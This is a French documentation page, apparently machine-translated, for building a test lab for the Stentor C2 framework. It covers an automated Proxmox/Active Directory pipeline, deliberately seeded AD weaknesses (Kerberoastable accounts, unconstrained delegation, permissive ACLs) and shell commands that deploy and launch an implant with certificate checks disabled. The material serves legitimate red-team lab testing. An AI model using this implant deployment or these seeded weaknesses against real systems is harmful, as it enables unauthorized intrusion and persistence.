Déploiement en laboratoire¶
Un laboratoire Stentor offre un environnement sûr pour tester les opérations C2, valider la fonctionnalité des implants et développer de nouvelles techniques. Ce guide couvre deux approches de déploiement : un pipeline IaC automatisé qui déploie une forêt Active Directory de 8 VM avec une seule commande, et une configuration manuelle de 3 VM pour des tests rapides.
Conditions préalables¶
Le pipeline de laboratoire automatisé nécessite les outils suivants. Vérifiez l'installation avec make check (exécute scripts/check-prerequisites.sh).
| Outil | Version | Objectif | Installer |
|---|---|---|---|
| Emballeur | 1.11+ | Créer des modèles de VM à partir d'ISO | hashicorp.com/packer |
| Terraforme | 1.9+ | Provisionner des VM à partir de modèles | hashicorp.com/terraform |
| Ansible | 2.17+ | Configurer AD, les utilisateurs, les GPO | pip install ansible |
| boucle | n'importe quel | Appels API Proxmox | Préinstallé sur la plupart des systèmes |
| jq | n'importe quel | Analyse JSON | brew install jq / apt install jq |
Collections Ansible (installées automatiquement par les playbooks) :
ansible.windows(2.5+) -- Ensemble de modules Windowsmicrosoft.ad(1.7+) -- Gestion Active Directory
Architecture du laboratoire¶
Le pipeline automatisé déploie une forêt Active Directory de 8 machines virtuelles sur Proxmox, simulant un environnement d'entreprise réaliste avec des contrôleurs de domaine, des postes de travail, des serveurs de fichiers et des serveurs d'applications.
graph TB
subgraph Proxmox["Proxmox Host (<proxmox-ip>)"]
subgraph DC["Domain Controllers"]
DC01["DC01<br/>10.10.10.10<br/>Primary DC"]
DC02["DC02<br/>10.10.10.11<br/>Replica DC"]
end
subgraph WS["Workstations"]
WS01["WS01<br/>10.10.10.21<br/>Engineering"]
WS02["WS02<br/>10.10.10.22<br/>HR"]
WS03["WS03<br/>10.10.10.23<br/>Finance"]
end
subgraph SRV["Servers"]
FILE01["FILE01<br/>10.10.10.30<br/>File Server"]
SRV01["SRV01<br/>10.10.10.40<br/>SQL + IIS"]
WEB01["WEB01<br/>10.10.10.50<br/>nginx/Apache"]
end
end
DC01 <-->|Replication| DC02
WS01 & WS02 & WS03 -->|Domain Join| DC01
FILE01 & SRV01 -->|Domain Join| DC01 Inventaire des machines virtuelles¶
| Machine virtuelle | IDVM | IP | Système d'exploitation | Rôle | Processeur | RAM |
|---|---|---|---|---|---|---|
| DC01 | 200 | 10.10.10.10 | Windows Serveur 2022 | Contrôleur de domaine principal | 2 | 4 Go |
| DC02 | 201 | 10.10.10.11 | Windows Serveur 2022 | Contrôleur de domaine de réplique | 2 | 4 Go |
| WS01 | 210 | 10.10.10.21 | Windows 10 | Poste de travail (ingénierie) | 2 | 4 Go |
| WS02 | 211 | 10.10.10.22 | Windows 10 | Poste de travail (RH) | 2 | 4 Go |
| WS03 | 212 | 10.10.10.23 | Windows 10 | Poste de travail (Finances) | 2 | 4 Go |
| FICHIER01 | 220 | 10.10.10.30 | Windows Serveur 2022 | Serveur de fichiers | 2 | 4 Go |
| SRV01 | 230 | 10.10.10.40 | Windows Serveur 2022 | Serveur d'applications (SQL + IIS) | 2 | 4 Go |
| WEB01 | 240 | 10.10.10.50 | Ubuntu 22.04 | Serveur Web (nginx/Apache) | 2 | 2 Go |
Toutes les machines virtuelles partagent le sous-réseau 10.10.10.0/24 sur le pont Proxmox vmbr0. Le DNS est servi par DC01 (primaire) et DC02 (secondaire) pour le domaine lab.local. Passerelle : 10.10.10.1 (pont hôte Proxmox).
Démarrage rapide¶
# 1. Configure Proxmox credentials and ISO paths
cp lab/.env.example lab/.env
# Edit lab/.env with your settings
# 2. Verify prerequisites
cd lab && make check
# 3. Deploy everything (templates + provision + configure + integrate)
make deploy
Déploiement d'une seule commande
make deploy exécute le pipeline complet en quatre étapes de manière séquentielle : vérification des prérequis, modèles Packer, provisionnement Terraform, configuration Ansible et intégration C2. Le pipeline complet prend environ 2 à 3 heures lors de la première exécution (la plupart du temps passé à créer des modèles Windows à partir de l'ISO).
Aperçu du pipeline¶
Le laboratoire utilise un pipeline Infrastructure-as-Code en quatre étapes. Chaque étape peut être exécutée indépendamment ou dans le cadre du pipeline make deploy complet.
flowchart LR
A["Stage 1<br/><b>Packer</b><br/>make templates"] --> B["Stage 2<br/><b>Terraform</b><br/>make provision"]
B --> C["Stage 3<br/><b>Ansible</b><br/>make configure"]
C --> D["Stage 4<br/><b>C2 Integration</b><br/>make integrate"]
A1["ISO files"] --> A
A --> A2["VM Templates<br/>(9000-9002)"]
B --> B2["8 Lab VMs<br/>(200-240)"]
C --> C2["AD Forest<br/>lab.local"]
D --> D2["Relay + Listener<br/>+ Beacon"] Étape 1 : Modèles de packer (make templates)¶
Packer crée trois modèles de VM de base à partir de fichiers ISO sur le stockage Proxmox. Les modèles sont des images dorées que Terraform clone pour créer des machines virtuelles de laboratoire.
Inventaire des modèles¶
| Modèle | IDVM | Système d'exploitation | Configuration post-construction |
|---|---|---|---|
| Windows Serveur 2022 | 9000 | Gagner l'évaluation du serveur 2022 | WinRM activé, agent invité QEMU, pilotes VirtIO, Sysprepped |
| Windows 10 Entreprise | 9001 | Win10 22H2 Évaluation | WinRM activé, agent invité QEMU, pilotes VirtIO, Sysprepped |
| Ubuntu 22.04 LTS | 9002 | Serveur Ubuntu 22.04 | SSH activé, agent invité QEMU, prêt pour l'initialisation du cloud |
Comportements clés :
- Idempotent : vérifie l'API Proxmox avant la construction ; ignore les modèles qui existent déjà.
- Builds individuelles :
make template-win-server,make template-win10,make template-ubuntu - Durée de construction : les modèles Windows prennent 30 à 60 minutes chacun (installation ISO + Sysprep). Ubuntu prend environ 15 minutes.
Prérequis ISO
Les ISO doivent être téléchargés sur le stockage Proxmox (local:iso/) avant de créer des modèles. Utilisez l'interface utilisateur Web de Proxmox : Datacenter > Stockage > local > Images ISO > Télécharger.
Téléchargez les ISO d’évaluation :
- Évaluation Windows Server 2022 (évaluation sur 180 jours)
- Évaluation Windows 10 Entreprise (évaluation de 90 jours)
- Ubuntu 22.04 LTS
- Pilotes VirtIO
Fichiers clés :
| Chemin | Description |
|---|---|
packer/*.pkr.hcl | Définitions de modèles de packer |
packer/files/autounattend/ | XML d'installation sans assistance de Windows |
packer/scripts/ | Scripts de provisionnement (configuration WinRM, Sysprep) |
packer/http/ | Fichiers servis par HTTP (préconfigurés, installation automatique) |
Étape 2 : Approvisionnement de Terraform (make provision)¶
Terraform clone les modèles Packer dans 8 machines virtuelles de laboratoire avec des adresses IP statiques, une allocation de ressources et une configuration réseau. Il génère également le fichier d'inventaire Ansible à partir des sorties Terraform.
Ce qu'il fait :
- Clone chaque modèle dans une VM complète avec un VMID, une IP, un CPU et une RAM attribués.
- Configure les interfaces réseau sur le pont
vmbr0avec des adresses IP statiques. - Génère
ansible/inventory/hosts.ymlà partir des sorties Terraform pour un transfert transparent vers l'étape 3.
Commandes clavier :
Les variables sont définies dans terraform/variables.tf et peuvent être remplacées via lab/.env :
| Variable | Par défaut | Description |
|---|---|---|
proxmox_endpoint | -- | URL de l'API Proxmox |
storage_pool | local-lvm | Pool de stockage Proxmox pour les disques de VM |
network_bridge | vmbr0 | Pont réseau pour les interfaces VM |
Fichiers clés :
| Chemin | Description |
|---|---|
terraform/main.tf | Configuration du fournisseur et définitions des ressources de VM |
terraform/variables.tf | Variables d'entrée (connexion Proxmox, spécifications VM) |
terraform/outputs.tf | Génération d'inventaire Ansible à partir des données de VM |
terraform/modules/vm/ | Module de machine virtuelle réutilisable |
terraform/templates/ | Modèle d'inventaire Ansible |
Étape 3 : Configuration Ansible (make configure)¶
Ansible configure l'environnement Active Directory complet, transformant les machines virtuelles nues en un réseau d'entreprise réaliste.
Étapes de configuration¶
| Étape | Cible | Description |
|---|---|---|
| Promotion DC | DC01, DC02 | DC01 comme racine de forêt (lab.local), DC02 comme réplica avec réplication |
| Rejoindre un domaine | Toutes les machines virtuelles Windows | Rejoignez tous les postes de travail et serveurs au domaine lab.local |
| Population AD | DC01 | 25 utilisateurs, 5 départements, comptes de service, groupes imbriqués |
| Déploiement d'objets de stratégie de groupe | Domaine | Politiques de sécurité des postes de travail et des serveurs, politiques d'audit |
| Configuration du serveur | FICHIER01, SRV01, WEB01 | Partages de fichiers, installation SQL/IIS, services Web |
| Attaque de semis | Divers | Mots de passe faibles, informations d'identification mises en cache, mauvaises configurations de délégation |
Préparation aux tests de l’équipe rouge
L’étape Attack Seeding introduit délibérément des erreurs de configuration AD courantes :
- Mots de passe de compte de service faibles (SPN Kerberoastable)
- Identifiants de domaine mis en cache sur les postes de travail
- Délégation sans contrainte sur des machines spécifiques
- Chemins de stratégie de groupe accessibles en écriture
- ACL de partage de fichiers trop permissives
Ceux-ci créent des chemins d'attaque réalistes pour tester les modules post-exploitation de Stentor.
Fichiers clés :
| Chemin | Description |
|---|---|
ansible/site.yml | Point d’entrée principal du playbook |
ansible/group_vars/ | Fichiers de variables de groupe (paramètres de domaine, mots de passe) |
ansible/roles/ | Rôles de configuration individuels |
ansible/inventory/ | Généré par Terraform (gitignored) |
Étape 4 : Intégration C2 (make integrate)¶
La dernière étape connecte l'infrastructure C2 de Stentor à l'environnement du laboratoire, établissant la chaîne relais-listener-beacon.
Ce qu'il fait :
- Enregistre le relais dans la base de données Stentor (s'il n'est pas déjà présent).
- Crée et démarre un listener HTTPS sur le relais.
- Déploie l'implant sur WS01 (ou un VMID personnalisé).
- Vérifie que le beacon apparaît dans le backend de Stentor.
Commandes C2 supplémentaires¶
# Check relay, listener, and beacon status
make c2-status
# Deploy implant to a specific VM
VMID=212 make c2-deploy-implant
Fichiers clés :
| Chemin | Description |
|---|---|
scripts/c2-integrate.sh | Script d'intégration C2 complet |
scripts/c2-status.sh | Vérificateur d'état pour relais/listener/beacon |
scripts/c2-deploy-implant.sh | Implanter le déploiement sur des VM spécifiques |
Configuration¶
Fichier d'environnement¶
Copiez lab/.env.example dans lab/.env et configurez les sections suivantes.
Connexion Proxmox¶
Deux méthodes d'authentification sont prises en charge :
Création de jetons API
Interface utilisateur Web Proxmox > Centre de données > Autorisations > Jetons API > Ajouter. Utilisez le format user@realm!token-name.
Chemins ISO¶
Les ISO utilisent la notation de stockage Proxmox (local:iso/filename.iso), et non les chemins du système de fichiers.
ISO_WIN_SERVER=local:iso/SERVER_EVAL_x64FRE_en-us.iso
ISO_WIN10=local:iso/22631.2428_PROFESSIONAL_x64_en-us.iso
ISO_UBUNTU=local:iso/ubuntu-22.04.4-live-server-amd64.iso
ISO_VIRTIO=local:iso/virtio-win.iso
Erreur courante
N'utilisez pas de chemins de système de fichiers comme /var/lib/vz/template/iso/ubuntu.iso. Packer communique avec l'API Proxmox, qui attend une notation de stockage.
Plages VMID¶
| Gamme | Objectif | Détails |
|---|---|---|
| 100-111 | VM manuelles existantes | Cibles héritées DC01, Kali, Stentor Server, Win10 |
| 200-240 | Machines virtuelles de laboratoire automatisées | DC01-DC02, WS01-WS03, FILE01, SRV01, WEB01 |
| 9000-9002 | Modèles d'emballeur | Images de base Win Server, Win10, Ubuntu |
Le laboratoire automatisé est conçu pour coexister avec (et éventuellement remplacer) les VM manuelles car elles utilisent différentes plages de VMID.
Paramètres réseau¶
Commandes de gestion¶
# Full pipeline (check + templates + provision + configure + integrate)
make deploy
# Individual stages
make templates # Build all Packer VM templates (idempotent)
make provision # Deploy VMs with Terraform
make configure # Run Ansible playbooks
make integrate # Connect Stentor C2
# Status
make status # Show current VM state via Terraform
make c2-status # Check relay/listener/beacon status
# Teardown
make destroy # Remove VMs (keep templates for fast rebuild)
make clean # Remove VMs AND templates (full reset)
Options de démontage¶
| Commande | Supprime les machines virtuelles | Supprime les modèles | Temps de reconstruction |
|---|---|---|---|
make destroy | Oui | Non | ~30 min (mise à disposition + configuration) |
make clean | Oui | Oui | 2-3 heures (modèles + mise à disposition + configuration) |
Conserver les modèles pour une itération rapide
Utilisez make destroy au lieu de make clean lors d'une itération sur la configuration Ansible. La création d'un modèle à partir d'un ISO prend entre 30 et 60 minutes, mais Terraform peut réapprovisionner des machines virtuelles à partir de modèles en quelques minutes.
Dépannage¶
| Symptôme | Parce que | Corriger |
|---|---|---|
| 401 Authentification Proxmox | Suffixe de domaine manquant dans le nom d'utilisateur | Utilisez root@pam et non root. Les jetons API utilisent user@pam!token-name. Test : curl -sk -d "username=root@pam&password=PASS" https://HOST:8006/api2/json/access/ticket |
| ISO introuvable | Utiliser le chemin du système de fichiers au lieu de la notation de stockage | Utilisez local:iso/filename.iso, pas /var/lib/vz/template/iso/filename.iso. Vérifiez via Proxmox UI > Stockage > local > Images ISO. |
| Piscine de stockage introuvable | Le nom du pool varie selon les installations Proxmox | Vérifiez les pools disponibles : pvesm status sur l'hôte Proxmox. Mettez à jour STORAGE_POOL dans .env. |
| VMID déjà utilisé | Conflit avec des VM créées manuellement | Vérifiez les VM existantes : qm list sur l'hôte Proxmox. Ajustez les variables VMID dans .env. |
| Délai d'expiration de WinRM | Pilotes VirtIO non chargés ou WinRM non activé | Assurez-vous que VirtIO ISO est téléchargé et que le chemin est correct dans .env. Vérifiez que autounattend.xml inclut la configuration WinRM. Packer attend jusqu'à 60 minutes avant d'expirer. |
| ** Dérive de l'état Terraform ** | VM modifiées en dehors de Terraform | Exécutez terraform refresh pour synchroniser l'état. Ne modifiez jamais manuellement les VM gérées par Terraform via l'interface utilisateur de Proxmox. Utilisez terraform import pour les ressources manuelles. |
| Connexion Ansible refusée | Les machines virtuelles ne sont pas complètement démarrées ou WinRM n'est pas prêt | Attendez 2 à 3 minutes après le provisionnement. Testez la connectivité : ansible -i inventory/hosts.yml all -m win_ping (Windows) ou -m ping (Linux). |
| La jointure au domaine échoue | DC01 pas encore promu ou DNS mal configuré | Assurez-vous que les rôles Ansible s'exécutent dans l'ordre (promotion DC avant la connexion au domaine). Vérifiez DNS : les postes de travail doivent utiliser DC01/DC02 comme serveurs DNS. |
Structure du répertoire¶
lab/
Makefile # Pipeline orchestration
.env.example # Configuration template (copy to .env)
.gitignore # Protects secrets, state, cache
README.md # Source documentation
packer/
*.pkr.hcl # Packer template definitions
http/ # HTTP-served files (preseed, autoinstall)
scripts/ # Provisioning scripts (WinRM, Sysprep)
files/autounattend/ # Windows unattended install XML
terraform/
main.tf # Provider config, VM definitions
variables.tf # Input variables
outputs.tf # Ansible inventory generation
modules/vm/ # Reusable VM module
templates/ # Ansible inventory template
ansible/
site.yml # Main playbook entry
inventory/ # Generated by Terraform (gitignored)
group_vars/ # Group variable files
roles/ # Role per configuration task
scripts/
check-prerequisites.sh # Tool verification
c2-integrate.sh # C2 integration script
c2-status.sh # Status checker
c2-deploy-implant.sh # Implant deployment
Configuration rapide du laboratoire (manuel 3-VM)¶
Pour les opérateurs qui souhaitent un environnement de test minimal sans la forêt AD complète, Stentor peut fonctionner sur une simple configuration à 3 VM.
Architecture¶
graph LR
subgraph Proxmox["Proxmox Host"]
VM103["Stentor Server<br/>VM 103 / 10.0.0.10<br/>Docker: backend + DB + UI"]
VM102["Kali Relay<br/>VM 102 / 10.0.0.50<br/>stentor-relay service"]
VM110["Win10 Target<br/>VM 110 / 10.0.0.20<br/>implant.exe"]
end
VM103 <-->|WebSocket| VM102
VM110 -->|HTTPS :8443| VM102 | Machine virtuelle | IDVM | IP | Rôle | Informations d'identification |
|---|---|---|---|---|
| Serveur Stentor | 103 | 10.0.0.10 | Hôte Docker (backend + DB + UI) | stentor/<server-password> |
| Relais Kali | 102 | 10.0.0.50 | Agent relais, listeners C2 | root/<relay-password> |
| Cible Win10 | 110 | 10.0.0.20 | Objectif d’exécution de l’implant | Agent invité QEMU |
Étapes de configuration¶
-
Déployer le serveur : exécutez
./update-stentor.shpour déployer Stentor sur la VM 103 via Docker. -
Connectez-vous et obtenez un jeton :
TOKEN=$(curl -s -X POST https://stentor.app/api/v1/auth/login \ -H "Content-Type: application/json" \ -d '{"email":"[email protected]","password":"your-password"}' \ | jq -r '.access_token') -
Enregistrer le relais dans la base de données (obligatoire avant que le relais puisse se connecter) :
ssh root@<proxmox-ip> 'ssh [email protected] \ "docker exec -i stentor-db psql -U stentor -d stentor_db"' <<< \ "INSERT INTO relays (id, name, description, ip_address, status) \ VALUES ('aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee', 'Kali Relay', \ 'Kali relay agent', '10.0.0.50', 'online') \ ON CONFLICT (id) DO NOTHING;" -
Redémarrer le service de relais :
ssh root@<proxmox-ip> 'sshpass -p "<relay-password>" ssh [email protected] \ "systemctl restart stentor-relay"' -
Créer et démarrer un listener :
LISTENER_ID=$(curl -s -X POST https://stentor.app/api/v1/listeners \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"name":"HTTPS Relay","type":"https","host":"10.0.0.50", "port":8443,"relay_id":"aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"}' \ | jq -r '.id') curl -s -X POST "https://stentor.app/api/v1/listeners/$LISTENER_ID/start" \ -H "Authorization: Bearer $TOKEN" -
Déployez et exécutez l'implant (voir Gestion des relais pour les instructions de construction) :
# Kill old implant if running ssh root@<proxmox-ip> 'qm guest exec 110 -- cmd /c "taskkill /F /IM implant.exe"' # Run implant (CRITICAL: no space before &&) ssh root@<proxmox-ip> 'qm guest exec 110 --timeout 5 -- cmd /c \ "set IMPLANT_C2_URL=https://10.0.0.50:8443&& \ set IMPLANT_INSECURE_SKIP_VERIFY=true&& \ C:\\Users\\Public\\implant.exe"' -
Vérifier le beacon :
Problèmes courants¶
Pièges de la configuration manuelle
- Confirmation du déploiement :
update-stentor.shnécessite la saisie de"yes"(et non de"y", et non deyes |). - Champ de réponse de connexion : le jeton se trouve dans
access_token, et non danstoken. - Chemin de l'API Beacon : utilisez
/api/v1/c2/beacons, pas/api/v1/cockpit/beacons. - vars d'environnement cmd.exe : aucun espace avant
&&-- les espaces de fin font partie de la valeur de la variable. - Relais avant connexion : Le relais doit être enregistré dans la base de données avant de démarrer le service de relais (WebSocket renvoie 404 sinon).
- L'listener doit être démarré : la création d'un listener définit le statut sur
stopped. Vous devez également appeler le point de terminaison de démarrage.